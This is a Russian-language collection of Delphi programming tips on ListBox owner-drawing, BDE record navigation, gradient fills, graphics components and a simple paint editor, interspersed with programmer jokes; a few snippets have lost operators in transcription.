1 [odSelected, odFocused]
В случае единственного элемента в списке ListBox получается конфуз, поскольку при щелчке на нем вы получаете тот же самый сценарий, только вместо двух индексов присутствует один, нулевой.
Имея эту информацию, вы можете минимизировать количество вызовов процедуры отрисовки. Для примера, в не-multi-select ListBox, элемент не нужно отрисовывать, если его состояние = [odSelected], поскольку это состояние всегда сопровождается НЕ selected НЕ focused, или ОДНОВРЕМЕННО selected и focused. В этом вам поможет технология отслеживания в обработчике OnDrawItem предыдущего отрисованного элемента, и если предыдущий запомненный элемент равен текущему, то отрисовывать его необязательно, например:
...
const
LastIndex: LongInt = -1;
begin
IF Index = LastIndex THEN
...
ELSE
...
LastIndex := Index;
end;
|
Как перейти к указанной записи в БД.
| - Вы с компьютером на "ты" или на "вы"? - Я с ним на "е.. твою мать!" |
function TBDEDirect.GoToRecord(RecNo: LongInt): Boolean;
var
RecCount: LongInt;
Bookmark: TBookmark;
Res: DBIResult;
begin
Result := False;
if CheckDatabase then
begin
if RecNo then
RecNo := 1;
RecCount := GetRecordCount;
if RecNo > RecCount then
RecNo := RecCount;
Res := DbiSetToRecordNo(FDataLink.DataSource.DataSet.Handle, RecNo);
if Res = 0 then
begin
Bookmark := StrAlloc(GetBookmarkSize);
DbiGetBookmark(FDataLink.DataSource.DataSet.Handle, Bookmark);
FDataLink.DataSource.DataSet.GoToBookmark(Bookmark);
FDataLink.DataSource.DataSet.FreeBookmark(Bookmark);
Result := True;
end
else
Check(Res);
end;
end;
|
Переместиться в конец файла.
{ прыгаем в конец (eof) }
procedure gotoeof (f : file);
begin
{ перемещаемся в начало }
seek (f, 0);
{ перемещаемся вперед на "x" количество байт,
в нашем случае это размер файла! }
seek (f, filesize(f));
end; {gotoeof}
|
Плавный переход одного цвета в другой.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Плавный переход одного цвета в другой
Две процедуры, служащие для отображения прямоугольников с поавным переходом
цветов. Первая процедура рисует вертикальный переход, вторая - горизонтальный.
Параметры процедур:
Canvas - задаёт графический контекст объекта для рисования
Left, Top, Width, Height - границы закрашиваемого прямоугольника
NonGradientArea - ширина области, закрашиваемой цветом Color1 (см. ниже).
При положительном значении этого параметра, область располагается сверху или
справа, при отрицательном - снизу или слева.
FrameColor - цвет рамки прямоугольника
Color1 - начальный цвет заливки
Color2 - конечный цвет заливки
Зависимости: Windows, SysUtils, Classes, Graphics
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 11 июня 2003 г.
***************************************************** }
function GetColor(Color: Integer): Integer; register;
asm
cmp eax, 0
jge @@10
and eax, 000000FFH
push eax
call GetSysColor
@@10:
end;
procedure VDrawGradientRect(Canvas: TCanvas; Left, Top, Width, Height: Integer;
NonGradientArea: Integer; FrameColor, Color1, Color2: TColor);
var
Mid: Integer;
Color: TColor;
C1: array[0..3] of Byte absolute Color1;
C2: array[0..3] of Byte absolute Color2;
C: array[0..3] of Byte absolute Color;
i, j, X1, Y1, X2, Y2, Y0, L, X11, X21: Integer;
begin
X1 := Left;
Y1 := Top;
X2 := Left + Width;
Y2 := Top + Height;
Color1 := GetColor(Color1);
Color2 := GetColor(Color2);
with Canvas do
begin
if NonGradientArea < 0 then
begin
Mid := Y2 + NonGradientArea;
Y0 := Y1 + 1;
L := Mid - Y0;
X11 := X1 + 1;
X21 := X2 - 1;
for i := Y1 + 1 to Mid do
begin
for j := 0 to 3 do
C[j] := MulDiv(1, C2[j] * (Mid - i) + C1[j] * (i - Y0), L);
Pen.Color := Color;
MoveTo(X11, i);
LineTo(X21, i);
end;
Pen.Style := psClear;
Brush.Color := Canvas.Pen.Color;
Rectangle(X1 + 1, Mid, X2, Y2);
end
else
begin
Mid := NonGradientArea;
Pen.Style := psSolid;
Y0 := Y2 - 2;
L := Mid - Y0;
X11 := X1 + 1;
X21 := X2 - 1;
for i := Y2 - 2 downto Mid do
begin
for j := 0 to 3 do
C[j] := MulDiv(1, C2[j] * (Mid - i) + C1[j] * (i - Y0), L);
Pen.Color := Color;
MoveTo(X11, i);
LineTo(X21, i);
end;
Pen.Style := psClear;
Brush.Color := Canvas.Pen.Color;
Rectangle(X1 + 1, Y1 + 1, X2, Mid + 1);
end;
Pen.Color := FrameColor;
Pen.Style := psSolid;
MoveTo(X1, Y1);
LineTo(X2 - 1, Y1);
LineTo(X2 - 1, Y2 - 1);
LineTo(X1, Y2 - 1);
LineTo(X1, Y1);
end;
end;
procedure HDrawGradientRect(Canvas: TCanvas; Left, Top, Width, Height: Integer;
NonGradientArea: Integer; FrameColor, Color1, Color2: TColor);
var
Mid: Integer;
Color: TColor;
C1: array[0..3] of Byte absolute Color1;
C2: array[0..3] of Byte absolute Color2;
C: array[0..3] of Byte absolute Color;
i, j, X1, Y1, X2, Y2, X0, L, Y11, Y21: Integer;
begin
X1 := Left;
Y1 := Top;
X2 := Left + Width;
Y2 := Top + Height;
Color1 := GetColor(Color1);
Color2 := GetColor(Color2);
with Canvas do
begin
if NonGradientArea < 0 then
begin
Mid := X2 + NonGradientArea;
X0 := X1 + 1;
L := Mid - X0;
Y11 := Y1 + 1;
Y21 := Y2 - 1;
Pen.Style := psSolid;
for i := X0 to Mid do
begin
for j := 0 to 3 do
C[j] := MulDiv(1, C2[j] * (Mid - i) + C1[j] * (i - X0), L);
Pen.Color := Color;
MoveTo(i, Y11);
LineTo(i, Y21);
end;
Pen.Style := psClear;
Brush.Color := Canvas.Pen.Color;
Rectangle(Mid, Y11, X2, Y2);
end
else
begin
Mid := NonGradientArea;
X0 := X2 - 2;
L := Mid - X0;
Y11 := Y1 + 1;
Y21 := Y2 - 1;
Pen.Style := psSolid;
for i := X0 downto Mid do
begin
for j := 0 to 3 do
C[j] := MulDiv(1, C2[j] * (Mid - i) + C1[j] * (i - X0), L);
Pen.Color := Color;
MoveTo(i, Y11);
LineTo(i, Y21);
end;
Pen.Style := psClear;
Brush.Color := Canvas.Pen.Color;
Rectangle(X1 + 1, Y1 + 1, Mid + 1, Y2);
end;
Pen.Color := FrameColor;
Pen.Style := psSolid;
MoveTo(X1, Y1);
LineTo(X2 - 1, Y1);
LineTo(X2 - 1, Y2 - 1);
LineTo(X1, Y2 - 1);
LineTo(X1, Y1);
end;
end;
Пример использования:
procedure TForm1.FormPaint(Sender: TObject);
begin
VDrawGradientRect(Canvas, 0, 0, ClientWidth, ClientHeight, 0,
clBtnFace, clHighlight);
end;
Алгоритм градиентной заливки.
| Едут в поезде 2 программера и 2 юзера, в разных купе. У программеров 1 билет на двоих, у юзеров по билету на каждого. Когда проходит контроль, программеры бегут в сортир, там запираются. Когда контролер стучит в дверь, они ему через окошко билет просовывают. Алгоритм ясен. Едут обратно тем же составом. У юзеров 1 билет, у программеров ни одного. Когда проходит контроль, юзеры бегут в сортир, там запираются. Программисты стучатся в дверь, оттуда высовывается билет, после чего программисты дружной толпою бегут в другой сортир. Дальше схема ясна. Мораль такова: не каждый алгритм, написанный программером, будет првильно применен юзером. |
Иногда бывает нужно сложить два или более цветов для получения что-то типа переходного цвета. Делается это весьма просто. Координаты получаемого цвета будут равны среднему значению соответствующих координат всех цветов.
Например, нужно сложить красный и синий. Получаем.
(255,0,0)+(0,0,255)=((255+0) div 2,(0+0) div 2,(0+255) div 2)=(127,0,127). |
В результате получаем сиреневый цвет. Также надо поступать, если цветов более чем 2: сложить соответствующие координаты, потом каждую сумму разделить нацело на количество цветов.
Поговорим теперь о градиентной заливке. Градиентная заливка - это заливка цветом с плавным переходом от одного цвета к другому.
Итак, пусть заданы 2 цвета своими координатами ((A1, A2, A3) и (B1, B2, B3)) и линия (длиной h пикселов), по которой нужно залить. Тогда каждый цвет каждого пиксела, находящегося на расстоянии x пикселов от начала будет равен (A1-(A1-B1)/h*x, A2-(A2-B2)/h*x, A3-(A3-B3)/h*x). Теперь, имея линию с градиентной заливкой, можно таким образом залить совершенно любую фигуру: будь то прямоугольник, круг или просто произвольная фигура.
Вот как выглядит описанный алгоритм:
{Считается, что координаты первого цвета
равны (A1, A2, A3), а второго (B1, B2, B3)
Кроме того, линия начинается в координатах
(X1,Y1), а заканчивается в (X2,Y1)}
var
h, i: integer;
begin
h:=X2-X1-1;
for i:=0 to h do
with PaintBox1.Canvas do
begin
Pen.Color:=RGB(A1-(A1-B1)/h*i, A2-(A2-B2)/h*i, A3-(A3-B3)/h*i);
Rectangle(I,Y1,I+1,Y1);
end;
end.
|
Создание градиентной заливки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure FillGradientRect(Canvas: TCanvas; Recty: TRect; fbcolor, fecolor: TColor; fcolors: Integer);
var
i, j, h, w, fcolor: Integer;
R, G, B: Longword;
beginRGBvalue, RGBdifference: array[0..2] of Longword;
begin
beginRGBvalue[0] := GetRvalue(colortoRGB(FBcolor));
beginRGBvalue[1] := GetGvalue(colortoRGB(FBcolor));
beginRGBvalue[2] := GetBvalue(colortoRGB(FBcolor));
RGBdifference[0] := GetRvalue(colortoRGB(FEcolor)) - beginRGBvalue[0];
RGBdifference[1] := GetGvalue(colortoRGB(FEcolor)) - beginRGBvalue[1];
RGBdifference[2] := GetBvalue(colortoRGB(FEcolor)) - beginRGBvalue[2];
Canvas.pen.Style := pssolid;
Canvas.pen.mode := pmcopy;
j := 0;
h := recty.Bottom - recty.Top;
w := recty.Right - recty.Left;
for i := fcolors downto 0 do
begin
recty.Left := muldiv(i - 1, w, fcolors);
recty.Right := muldiv(i, w, fcolors);
if fcolors1 then
begin
R := beginRGBvalue[0] + muldiv(j, RGBDifference[0], fcolors);
G := beginRGBvalue[1] + muldiv(j, RGBDifference[1], fcolors);
B := beginRGBvalue[2] + muldiv(j, RGBDifference[2], fcolors);
end;
Canvas.Brush.Color := RGB(R, G, B);
patBlt(Canvas.Handle, recty.Left, recty.Top, Recty.Right - recty.Left, h, patcopy);
Inc(j);
end;
end;
// Case 1
procedure TForm1.FormPaint(Sender: TObject);
begin
FillGradientRect(Form1.Canvas, rect(0, 0, Width, Height), $FF0000, $00000, $00FF);
end;
// Case 2
procedure TForm1.FormPaint(Sender: TObject);
var
Row, Ht: Word;
IX: Integer;
begin
iX := 200;
Ht := (ClientHeight + 512) div 256;
for Row := 0 to 512 do
begin
with Canvas do
begin
Brush.Color := RGB(Ix, 0, row);
FillRect(Rect(0, Row * Ht, ClientWidth, (Row + 1) * Ht));
IX := (IX - 1);
end;
end;
end;
{
Note, that the OnResize event should also call the FormPaint
method if this form is allowed to be resizable.
This is because if it is not called then when the
window is resized the gradient will not match the rest of the form.
}
{***********************************************************}
{2. Another function}
procedure TForm1.Gradient(Col1, Col2: TColor; Bmp: TBitmap);
type
PixArray = array [1..3] of Byte;
var
i, big, rdiv, gdiv, bdiv, h, w: Integer;
ts: TStringList;
p: ^PixArray;
begin
rdiv := GetRValue(Col1) - GetRValue(Col2);
gdiv := GetgValue(Col1) - GetgValue(Col2);
bdiv := GetbValue(Col1) - GetbValue(Col2);
bmp.PixelFormat := pf24Bit;
for h := 0 to bmp.Height - 1 do
begin
p := bmp.ScanLine[h];
for w := 0 to bmp.Width - 1 do
begin
p^[1] := GetBvalue(Col1) - Round((w / bmp.Width) * bdiv);
p^[2] := GetGvalue(Col1) - Round((w / bmp.Width) * gdiv);
p^[3] := GetRvalue(Col1) - Round((w / bmp.Width) * rdiv);
Inc(p);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
BitMap1: TBitMap;
begin
BitMap1 := TBitMap.Create;
try
Bitmap1.Width := 300;
bitmap1.Height := 100;
Gradient(clred, clBlack, bitmap1);
// So konnte man das Bild dann zB in einem TImage anzeigen
// To show the image in a TImage:
Image1.Picture.Bitmap.Assign(bitmap1);
finally
Bitmap1.Free;
end;
end;
Компонент градиентной раскраски областей.
Оформил: DeeCo
Автор: Александр Журавлев.
Как можно увидеть при внимательном рассмотрении, раскраска псевдообъемных фигур производится линейно.
Для более правильного воспроизведения интенсивности цвета необходимо ввести тригонометрическую функцию преобразования интенсивности, но это сильно замедлит воспроизведение фигуры.
Для ускорения воспроизведения фигур в RunTime можно добавить в компонент преобразование рисунка в Bitmap после окончания режима разработки и далее воспроизводить его как картинку.
Компонент реализует градиентную заливку для конуса, цилиндра и сферы. В Design-time настраиваются все основные свойства псевдообъемной фигуры: тип фигуры и ее размер, расположение (кроме сферы), цвет заливки, смещения вершины конуса для получения скошенных и усеченных конусов. Для смены точки освещения и скошенных цилиндров допишете сами, это не сложно.
Проект, демонстрирующий градиентную заливку : Исходные коды + exe Figures.zip (156 K) Исходные коды Figures_src.zip (6 K)
Табуляция в графическом ListBox.
Автор: VirtualikИспользование табуляции в ListВох'е когда компонент находится в стандартном режиме не составляет труда. Но что делать если надо использовать графическое отображение элементов списка? Ведь при этом надо самому писать обработчик отрисовки элементов с разбиением на колонки. Элементарное решение - использование API функции TabbedTextOut, однако результаты работы этой функции меня явно не удовлетворили. Пришлось-таки "выкручиваться"... Символ-разделитель можно использовать любой. Например, будем использовать символ "|", тогда обработчик OnDrawItem может выглядеть следующим образом:
procedure TBrowser.ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
S, Ss: string;
P: Integer; // Флаг символа-разделителя
begin
ListBox1.Canvas.FillRect(Rect);
//Отрисовка графики
...
//
S := ListBox1.Items.Strings[Index];
P := Pos('|', S);
if P = 0 then
Ss := S
else
// Если нет табуляции, то пишем всю строку,
// иначе отрезаем кусок до разделителя
Ss := Copy(S, 1, P - 1);
ListBox1.Canvas.TextOut(Rect.Left + 20, Rect.Top + 2, Ss);
if P > 0 then
ListBox1.Canvas.TextOut(ListBox1.TabWidth, Rect.Top + 2, Copy(S, P + 1,
Length(S) - P + 2));
end;
|
Не забудьте перед запуском поставить нужное значение TabWidth.
Компоненты для работы с графикой.
Оформил: DeeCo
Автор: Юрий.
Несколько слов о сути моего материала. Прежде всего, он предназначена для программистов Delphi, работающих с графикой. Представленные компоненты имеют такие возможности, как:
работа с прозрачностью быстрая и гибкая замена необходимых цветов улучшенный компонент TDrawGrid работа с массивами картинок (в т.ч. быстрое восстановление картинки, после того как она была изменена, быстрое сохранение и загрузка картинок, различные процедуры для их обработки (поддерживаются два формата: bmp и jpg) некоторые полезные дополнения, например такие как движущийся текст на неоднородном фоне - полезно для таких случаев, как создание диалогового окна AboutА теперь рассмотрим вышеперечисленные пункты немного подробнее. Но для начала, несколько слов о принципах работы этих компонентов. Прежде всего они построены на основе массива объектов типа TBitmap. В 32 битных изображениях цвет кодируется 3 байтами - по одному на синий, зеленый и голубой, плюс добавляется один байт на альфа канал. В этот альфа канал записывается информация о том, следует ли при вставке одной картинки в другую использовать соответствующий пиксель (или игнорировать его). То есть по идее он может принимать два значения: 0 и 1. В этих компонентах использован несколько иной принцип использования альфа канала. Туда записывается число, которое представляет собой коэффициент, используемый при расчете двух пикселей двух различных картинок. То есть, если, скажем альфа канал равен 127, то результирующий пиксель будет являться средним арифметическим двух других пикселей. Значение альфа канала, равное 0 соответствует полной непрозрачности, а равное равное 255 - полной прозрачности вставляемой картинки. Процедура SetAlphaChannel устанавливает заданное значение альфа канала для всех пикселей картинки.
Замена цветовТакже в компонент TGraph добавлено несколько функция для замены цветов. Все эти процедуры работают только с 24 битными рисунками.
procedure ChangeColor(ChangeColorProc: TChangeColorProc; Bitmap: TBitmap; Color: TColor); TChangeColorProc = procedure(var R, G, B: Byte);Наверное, самая простая процедура. Процедура TChangeColorProc вызывается каждый раз при замене очередного пикселя.
procedure ChangeColorEx(Bitmap: TBitmap; OldColor, NewColor: TColor; ChangingType: TChangingType);Замена цветом NewColor происходит, когда значение заменяемого пикселя оказывается между значениями OldColor и NewColor если ChangingType = ctEqual, если ChangingType = ctNotEqual, то замена цвета происходит когда значение заменяемого пикселя оказывается вне этого диапазона. Во всех последующих процедурах этот параметр имеет тот же самый смысл, поэтому я не буду описывать его действие.
procedure ChangeColorRange(Bitmap: TBitmap; IntensityRecLo, IntensityRecHi, NewIntensityRec: TIntensityRec; ChangingType: TChangingType); TIntensityType = (itRed, itGreen, itBlue); TIntensityRec = array[TIntensityType] of Byte;Как видно выше, тип TIntensityRec представляет из себя не что иное, как 24 битный пиксель. Действие этой процедуры аналогично процедуре ChangeColorEx, за исключением того, что эта немного более гибкая, что ли.
procedure ChangeColorRange(Bitmap: TBitmap; IntensityType: TIntensityType; IntensityLo, IntensityHi: Byte; NewIntensityRec: TIntensityRec; ChangingType: TChangingType);Самая быстрая процедура этого типа. Производит замену пикселя по одной из его составляющий: синему, зеленому или красному цвету. Соответственно IntensityLo и IntensityHi это диапазон одного из составляющих цвета пикселей, по границам которого производится замена пикселем NewIntensityRec.
Вот, собственно все процедуры созданные для замены цвета. Вместе они представляют из себя довольно гибкое средство для работы с графикой. Еще одно достоинство - они работают достаточно быстро. Это касается также и других процедур, например на компьютере Pentium Celeron 400 расчет прозрачности двух картинок (обе были (конечно же) 32 битные, размером 1024 на 768) занимал на более 500 миллисекунд.
Скачать пример 1 Компонент TGraphGrid Следующее, что мы рассмотрим, это компонент TGraphGrid, созданный на основе компонента TDrawGrid. Этот компонент способен отображать картинки с текстом. Чтобы картинки отображались в компоненте в порядке из загрузки, следует установить свойство DefaultOrder в True. Вообще, это не лучший способ для отображения картинки. В компоненте TDrawGrid есть свойство:RefArray: TIntArrayTIntArray = array of Integer;Оно представляет из себя массив ссылок. Поясню на примере. Пусть у на прорисовывается ячейка к координатами Col = 2, Row = 1, где в компоненте TDrawGrid 10 столбцов. В таком случае индекс ячейки (ее порядковый номер) будет равен 12 (нумерация столбцов и рядов начинается с нуля, с нуля также начинается нумерация индекса ячейки). При этом RefArray[12] = 1. В таком случае в ячейке Col = 2, Row = 1 будет прорисовываться картинку с индексом 1. При отсутствии ссылки не другую ячейку RefArray[N] = -1. В таком случае, при условии DefaultOrder = False в ячейке Col = 2, Row = 1 прорисовывалось бы именно картинка с индексом 12. Для более удобного доступа к массиву ссылок есть свойство:
property Reference[Col, Row: Integer]: TGridCoord; TGridCoord = record Col, Row: Integer; end;Для задания переменной типа есть функция:
function GridCoord(Col, Row: Integer): TGridCoord;Рассмотрим теперь событие, возникающее при прорисовки картинки в ячейке:
TDrawPictureEvent = procedure(Sender: TObject; Rect: TRect; Index, Col, Row: Integer; var X, Y: Integer; Picture: TBitmap; var Background: TBitmap; var Continue: Boolean) of object;Параметры X и Y представляют собой координаты левого верхнего угла картинки (по умолчанию равны 0), которые можно изменять, Picture: собственно, сама картинка, Background картинка, по умолчанию равная nil. Если присвоить этому параметру значение, то картинка Background будет представлять собой фон ячейки. Также, если картинка Background по размерам меньше, ячейки, то она автоматически будет размножена. Также в компоненте TGraphGrid есть ряд свойств, которые, я думаю, объяснять не нужно, так как они интуитивно понятны (например свойство Scale - для автоматического масштабирования картинки и т.д.) Скачать пример 2 (153 K) И, наконец, последний пункт - дополнение в виде движущегося текста. В компоненте TGraph также еще есть одна функция Appearance, но о ней я пока рассказывать не буду.
procedure TGraph.AnimatedText(Canvas: TCanvas; Application: TApplication; Source: TBitmap; List: TStrings; Alignment: TAlignment; X, Y, Decrement: Integer; Delay: LongWord);Свойство Canvas представляет собой объект типа TCanvas на котором и будет осуществляться прорисовка. Application служит для вызова функции ProcessMessages. Source представляет собой фоновую картинку, Alignment - способ выравнивания текста, X, Y, координаты, по ним определяется границы движения текста, Decrement величина, определяющая через сколько пикселей текст будет перерисован. Delay - соответственно, задержка текста в миллисекундах. Скачать пример 3 (180 K)
Заключение
Если Вам удалось прочитать всю это до конца, то я уверен, Вы сможете найти практическое применение для моих компонентов, а скачать их можно здесь — Graph.zip (11 K).
Графический редактор.
Оформил: DeeCo
Часть 1.
Приложение выполняет следующие функции:
Установка основного и дополнительного цветов. Щелчок на панели цветов левой кнопкой мыши устанавливает основной цвет, а щелчок правой кнопкой – дополнительный. Кисть – кнопка SBBrush. Закрашивает замкнутую область, ограниченныю цветом того пикселя, который указан щелчком мыши. При щелчке левой кнопкой закрашивание производится основным цветом, при щелчке правой кнопкой – вспомогательным. Индикация цвета -кнопка SBColor. В этом режиме можно указать курсором мыши любой пиксель на изображении и, щелкнув левой кнопкой, установить цвет этого пикселя как основной, а щелкнув правой кнопкой мыши, установитьего как вспомогательный цвет. Отмена операций, выполненных последним использованным инструментом – команда Правка|Отменить. Открытие графического файла – команда Файл|Открыть (MOpenClick). Вставка графического изображения типа битовой матрицы
|
SpeedButton: SBBrush, SBColor; GroupIndex := 1; AllowAllUp := true; Glyph := ..\Images\Butons\brush.bmp; Glyph := ..\Images\Butons\one2one.bmp;
Последовательность проектирования: ; 1. Заполнить форму; 2. var Bitmap: TBitMap; 3. Form OnCreate; 4. Form OnDestroy; 5. MOpenClick; 6. UndoClick; 7. SBBrushClick и SBColor(запоминает текущий вид изображения); 8. Image3MouseDown и копировать в Image4 MouseDown;
unit UGraphEdit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, Buttons, ExtCtrls, Menus, ExtDlgs;
type
TForm1 = class(TForm)
Image1: TImage;
Image2: TImage;
Image3: TImage;
Image4: TImage;
SBBrush: TSpeedButton;
SBColor: TSpeedButton;
OpenPictureDialog1: TOpenPictureDialog;
MainMenu1: TMainMenu;
N1: TMenuItem;
MOpen: TMenuItem;
N2: TMenuItem;
Undo: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure MOpenClick(Sender: TObject);
procedure UndoClick(Sender: TObject);
procedure SBBrushClick(Sender: TObject);
procedure Image3MouseDown(Sender: TObject; Button: TMouseButton; Shift:
TShiftState; X, Y: Integer);
private { Private declarations }
public { Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
var
BitMap: TBitMap;
//переменная для сохранения изображения, если его нужно будет востановить командой отменить
procedure
TForm1.FormCreate(Sender: TObject);
var
HW, I: integer;
begin
BitMap := TBitMap.Create;
{задание свойств кисти основного и
вспомогательного цветов}
Image1.Canvas.Brush.Color := clBlack;
Image2.Canvas.Brush.Color := clWhite;
{заполнение окон основного и вспомогательного
цветов}
with
Image1.Canvas do
FillRect(Rect(0, 0, Width, Height));
with Image2.Canvas do
FillRect(Rect(0, 0, Width, Height));
{задание ширины элемента палитры
цветов}
HW := Image4.Width
div 10;
{закраска элементов палитры цветов}
with
Image4.Canvas do
for I := 1 to 10 do
begin
case I of
1: Brush.Color := clBlack;
2: Brush.Color := clAqua;
3: Brush.Color := clBlue;
4: Brush.Color := clFuchsia;
5: Brush.Color := clGreen;
6: Brush.Color := clLime;
7: Brush.Color := clMaroon;
8: Brush.Color := clRed;
9: Brush.Color := clYellow;
10: Brush.Color := clWhite;
end;
Rectangle((I - 1) * HW, 0, I * HW, Height);
end;
|
{рисование креста на холсте – только для
тестирования}
with Image3 do
begin
Canvas.MoveTo(0, 0);
Canvas.LineTo(Width, Height);
Canvas.MoveTo(0, Height);
Canvas.LineTo(Width, 0);
end;
BitMap.Assign(Image3.Picture);
end;
procedure TForm1.FormDestroy(Sender:
TObject);
begin
BitMap.Free;
end;
procedure TForm1.MOpenClick(Sender:
TObject);
begin
if OpenPictureDialog1.Execute then
begin
Image3.Picture.LoadFromFile(OpenPictureDialog1.FileName);
BitMap.Assign(Image3.Picture);
end;
end;
procedure TForm1.UndoClick(Sender:
TObject);
begin
Image3.Picture.Assign(BitMap);
end;
procedure
TForm1.SBBrushClick(Sender: TObject);
begin
if (Sender as TSpeedButton).Down then
BitMap.Assign(Image3.Picture);
end;
procedure
TForm1.Image3MouseDown(Sender: TObject; Button: TMouseButton; Shift:
TShiftState; X, Y: Integer);
begin
if (Sender = Image4) or SBColor.Down then
{режим установки основного и вспомогательного
цветов}
begin
if (Button = mbLeft) then
with Image1.Canvas do
begin
{установка основного
цвета}
Brush.Color := (Sender as
TImage).Canvas.Pixels[X, Y];
FillRect(Rect(0, 0, Width, Height));
end
else
with Image2.Canvas do
begin
{установка вспомогательного
цвета}
Brush.Color := (Sender as
TImage).Canvas.Pixels[X, Y];
FillRect(Rect(0, 0, Width, Height));
end;
end
else if SBBrush.Down then
with Image3.Canvas do
begin
{режим закраски указанной области
холста}
if
Button = mbLeft then
Brush.Color := Image1.Canvas.Brush.Color
else
Brush.Color := Image2.Canvas.Brush.Color;
FloodFill(X, Y, Pixels[X, Y], fsSurface);
end;
end;
end.
8. OnMouseDown – это основной код, осуществляющий как установку основного и вспомогательных цветов, так и функцию инструмента графического редактора – кисти. Если кнопка мыши нажата на палитре цветов, Image4, или если кнопка SBColor – кнопка указателя цвета утоплена, то приложение находится в режиме установки цветов. При нажатой левой кнопки мыши цвет пикселя под курсором мыши передается в окно основного цвета, а при нажатой правой кнопки – в окно вспомогательного цвета. Если кнопка мыши нажата на холсте, Image3, или если кнопка SBColor – кнопка указателя цвета утоплена, то приложение находится в режиме закраски указанной области рисунка. В этом случае в зависимости от нажатой кнопки мыши выбирается основной или вспомогательный цвет и функцией FloodFill производится закраска области, координаты внутренней точки которой указаны курсором мыши, а цвет – цветом пикселя, на который указывает мышь.
Часть 2. Дополнительные функции графического редактора:
Функция выделения фрагмента осуществляется методом DrawFocusRect.В этом режиме
при событии onMouseDown холста – компонента Image3, выполняются операторы:
{запоминание начального положения курсора мыши}
X0 := X;
//запоминание координаты мыши X,Y в переменных X0,Y0;
Y0 := Y; //начальные координаты прямоугольной области – переменной R типа TRect;
{формирование начального положения области фрагмента};
R.TopLeft := Point(X, Y);
R.BottomRight := Point(X, Y); {рисование рамки}
Image3.DrawFocusRect(R);
//рисуется рамка пока нулевого размера методом DrawFocusRect;
RBegin := true;
{утанавливается флаг начала выделения фрагмента RBegin;При событии onMouseMove компонента Image3,
если установлен флаг RBegin, выпол-няются операторы:}
Выделение фрагмента – кнопка SBRect. Фрагмент выделяется точечной рамкой. Выделенный фрагмент можно в дальнейшем перетащить мышью на другое место. Если в процессе перетаскивания нажата клавиша Ctrl, то производится копирование фрагмента, в противном случае вырезание, при котором область первоначального размещения фрагмента закрашивается вспомогательным цветом. Выделенный фрагмент может быть также скопирован или вырезан в буфер обмена Clipboard соответствующими командами меню.
{Стирание прежней рамки фрагмента}
Image3.Canvas.DrawFocusRect(R);
//метод DrawFocusRect рисует рамку с помощью операции XOR;
{формирование области R};
if X0 < X then //область, передаваемая в функцию DrawFocusRect
begin
R.Left := X0;
R.Right := X
end // должна быть сформирована так, что R.Left<R.Right и
else
begin
R.Left := X;
R.Right := X0
end; // R.Top<R.Buttom
if Y0 < Y then
begin
R.Top := Y0;
R.Bottom := Y
end
else
begin
R.Top := Y;
R.Bottom := Y0
end;
{Рисования новой рамки фрагмента}
Image3.Canvas.DrawFocusRect(R);
{Рамка,ограничивающая фрагмент нарисована. Если пользовательпомещает курсор внутрь выделенной
области и нажимает кнопку мыши (onMouseDown), выполняют-ся операторы:}
with Image3.Canvas do
begin
;
X0 := X; //запоминание начального положения курсора мыши
Y0 := Y;
DrawFocusRect(R); {стирание прежней рамки}
;
RDrag := true; //устанавливает флаг перетаскивания RDrag;
REnd := false;
{запоминание начального положения перетаскиваемого фрагмента в переменной R0 типа TRect};
R0.TopLeft := R.TopLeft;
R0.BottomRight := R.BottomRight;
{запоминание методом Assign изображения в момент начала перетаскивания в переменно BitMap,
чтобы в процессе перетаскивания можно было восстанавливать испорченные места изображения и
чтобы при желании пользователя можно было в дальнейшем отменить результат перетаскивания};
BitMap.Assign(Image3.Picture);
{установка цвета кисти равным вспомогательному цвету, хранящемуся в компоненте Image2};
Brush.Color := Image2.Canvas.Brush.Color;
end;
{При событии onMouseMove компонента Image3, если установлен флаг RDrag, выпол-няются операторы:
восстановление изображения под перетаскиваемым фрагментом в его прежней позиции, (т.е. стирает фрагмент)
копируя соответствующую область методом CopyRect из компо-нента BitMap };
CopyRect(R, BitMap.Canvas, R);
{если не нажата клавиша Ctrl - стирание изображения в R0(осуществляется вырезание) ме-тодом FillRect };
if not (ssCtrl in Shift) then
FillRect(R0);
{формирование нового положения фрагмента }
R.Left := R.Left + X - X0;
R.Right := R.Right + X - X0;
R.Top := R.Top + Y - Y0;
R.Bottom := R.Bottom + Y - Y0;
{запоминание положения курсора мыши};
X0 := X;
Y0 := Y;
{рисование фрагмента в новом положении};
CopyRect(R, BitMap.Canvas, R0); {рисование рамки}
DrawFocusRect(R);
{Таким образом проводится операция выделения фрагрента и его перетаскивания.}
Рисование прямоугольника – кнопка SBRectang. Рисуется прямоугольная рамка основным цветом. Начало режимов рисования заполненного и незаполненного прямоугольников про-исходит по событию onMouseDown и их продолжение по событиям onMouseMove и не отличаются от рассмотренного режима выделения фрагмента.;При завершении формирования пользователем прямоугольной рамки, т.е. при собы-тии MouseUp, надо нарисовать прямоугольник. ;Рисование заполненного прямоугольника осуществляется операторами: with Image3.Canvas do begin Brush.Color := Image2.Canvas.Brush.Color; //задается цвет кисти; Pen.Color := Image1.Canvas.Brush.Color; //задается цвет пера; Rectangle(R.Left, R.Top, R.Right, R.Bottom); end;Рисование незакрашенного прямоугольника осуществляется операторами:
with Image3.Canvas do begin Brush.Color := Image1.Canvas.Brush.Color; FrameRect(R); //метод FrameRect рисует цветом кисти; end;Рисование заполненного прямоугольника – кнопка SBFillRec. Рисуется прямоугольная рамка основным цветом и прямоугольник внутри закрашивается вспомогательным цветом. Возможные значения свойства Mode пера Pen
pmCopy – линии проводятся цветом, заданным в свойстве Color
pmBlack Always black
pmWhiteAlways white
pmNopUnchanged
pmNot Inverse of canvas background color
pmCopy Pen color specified in Color property
pmNotCopyInverse of pen color
pmMergePenNot Combination of pen color and inverse of canvas background
pmMaskPenNotCombination of colors common to both pen and inverse of canvas background.
